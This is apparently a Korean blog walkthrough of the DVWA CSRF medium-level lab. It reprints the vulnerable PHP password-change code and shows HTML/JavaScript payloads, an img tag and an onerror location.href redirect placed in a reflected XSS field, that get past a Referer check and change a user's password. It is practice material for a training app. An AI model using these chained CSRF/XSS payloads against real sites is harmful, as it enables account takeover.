본문 바로가기

웹해킹/DVWA

DVWA CSRF(medium) 롸업

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Checks to see where the request came from
    if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
        // Get input
        $pass_new  = $_GET[ 'password_new' ];
        $pass_conf = $_GET[ 'password_conf' ];

        // Do the passwords match?
        if( $pass_new == $pass_conf ) {
            // They do!
            $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
            $pass_new = md5( $pass_new );

            // Update the database
            $current_user = dvwaCurrentUser();
            $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . $current_user . "';";
            $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

            // Feedback for the user
            echo "<pre>Password Changed.</pre>";
        }
        else {
            // Issue with passwords matching
            echo "<pre>Passwords did not match.</pre>";
        }
    }
    else {
        // Didn't come from a trusted source
        echo "<pre>That request didn't look correct.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

구성 코드이다.

low 레벨과 다른 점은 요청을 보낸 서버가 현재 http 요청을 보낸 서버와 같은지 검사한다는 점이다.

low에서 했던 것과 같이 xss(stored)에

<img src="http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=ddd&password_conf=ddd&Change=Change">

이렇게 공격 글을 올려 놓아도 제대로 작동하지 않는다.

 

location.href로 웹페이지의 주소를 바꿔버리면 제대로 작동한다.

<img src=# onerror="location.href='http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=ddd&password_conf=ddd&Change=Change';">

이 공격 코드를 xss(reflected)에 있는 입력창에 넣어주면 비밀번호가 성공적으로 바뀐다.

이렇게 입력하고 submit을 누르면

CSRF 창으로 넘어가면서 Password Changed라고 뜬다.

로그인을 해보면 ddd로 패스워드가 바뀌었음을 알 수 있다.

'웹해킹 > DVWA' 카테고리의 다른 글

DVWA File Upload(medium)  (0) 2023.11.14
DVWA File Inclusion(medium) 롸업  (0) 2023.11.14
DVWA Command Injection(medium) 롸업  (0) 2023.11.13
DVWA Brute Force(medium) 롸업  (0) 2023.11.13
DVWA Open HTTP Redirect(low) 롸업  (0) 2023.11.11